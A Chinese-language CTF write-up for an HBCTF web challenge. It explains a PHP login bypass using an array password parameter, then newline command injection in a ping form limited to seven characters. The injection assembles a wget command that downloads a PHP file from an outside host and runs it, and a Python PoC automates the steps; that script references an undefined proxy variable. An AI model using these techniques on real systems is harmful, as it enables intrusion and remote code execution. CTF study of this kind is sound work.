七个字符Get Shell

如何在只有七个字符的限制下Get Shell

来源

wonderkun师傅在HBCTF出的一个题目
源码:web

分析

看了师傅的write up才知道有源码泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function d_addslashes($array){
foreach($array as $key=>$value){
if(!is_array($value)){
!get_magic_quotes_gpc()&&$value=addslashes($value);
$array[$key]=$value;
}else{
$array[$key]=d_addslashes($array[$key]);
}
}
return $array;
}
$_POST = d_addslashes($_POST);
$_GET = d_addslashes($_GET);
$username =isset($_POST['username'])?$_POST['username']:die();
$password = isset($_POST['password'])?md5($_POST['password']):die();
$sql="select password from users where username='$username'";
$result = $conn->query($sql);
if(!$result){
die('<script>alert("用户名或密码错误!!")</script>');
}

对POST的数据进行了伪全局过滤,所以注入就别想了,最开始还想着时间盲注,Orz,$conn->query($sql) 返回的是一个mysql resource类型,始终不可能为空所以下一个if语句不可能执行,只需要绕过

1
2
3
4
5
6
7
8
9
if($row[0] === $password){
$_SESSION['username']=$username;
$_SESSION['status']=1;
header("Location:./ping.php");
}else{
die("<script>alert('用户名或密码错误!!')</script>");
}

由于输入的用户为空,所以$row必然为空,$password又被md5处理过,所以我们可以:

1
username=a&password[]=a

绕过登录限制,登录之后才到主题ping命令,由于必须要是ip格式,所以长度大于等于7小于等于15,fuzz发现||,&,$,(),;,都被替换为了空,但是换行符%0a没有被过滤,那么我们可以0.0.0.0%0a+shell命令,shell命令最多为7个字符,也就是说我们有七个字符的控制空间,通过wonderkun师傅的文章了解到可以通过生成文件的方式getshell,先生成空文件的文件名,然后通过ls -t>a使生成的文件名变为一个新的文件:

1
2
3
4
5
6
7
8
9
10
wget\
19\
2.\
16\
8.\
1.\
17\
8 \
-O \
1.php

反斜杠在linuxshell中可以当做连接符,然后通过sh a运行得到shell

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/python
# -*- coding: utf-8 -*-
import requests
def GetShell():
s=requests.session()
url = "http://192.168.1.145/web200-3/src/ping.php"
url1 = "http://192.168.1.145/web200-3/src/"
header = {
"Content-Type":"application/x-www-form-urlencoded"
}
data1={'username':'a','password[]':'a'}
s.post(url1,data=data1,proxies=proxy1,headers=header)
'''
wget\\
\ 19\\
2.\\
16\\
8.\\
1.\\
17\\
8\ \\
-O\ \\
1.php
'''
fileNames = ["1.php", "-O\ \\\\", "8\ \\\\", "17\\\\", "1.\\\\", "8.\\\\", "16\\\\","2.\\\\", "\ 19\\\\", "wget\\\\"]
ip = "0.0.0.1%0a"
for fileName in fileNames:
createFileIp = ip + ">" + fileName
print createFileIp
data = "ip=" + createFileIp
s.post(url, data=data,headers=header,)
getShIp = ip + "ls%20-t>1"
print getShIp
data = "ip=" + getShIp
s.post(url, data=data,headers=header)
getShellIp = ip + "sh%201"
print getShellIp
data = "ip=" + getShellIp
s.post(url, data=data,headers=header)
if __name__ == "__main__":
GetShell()

参考文章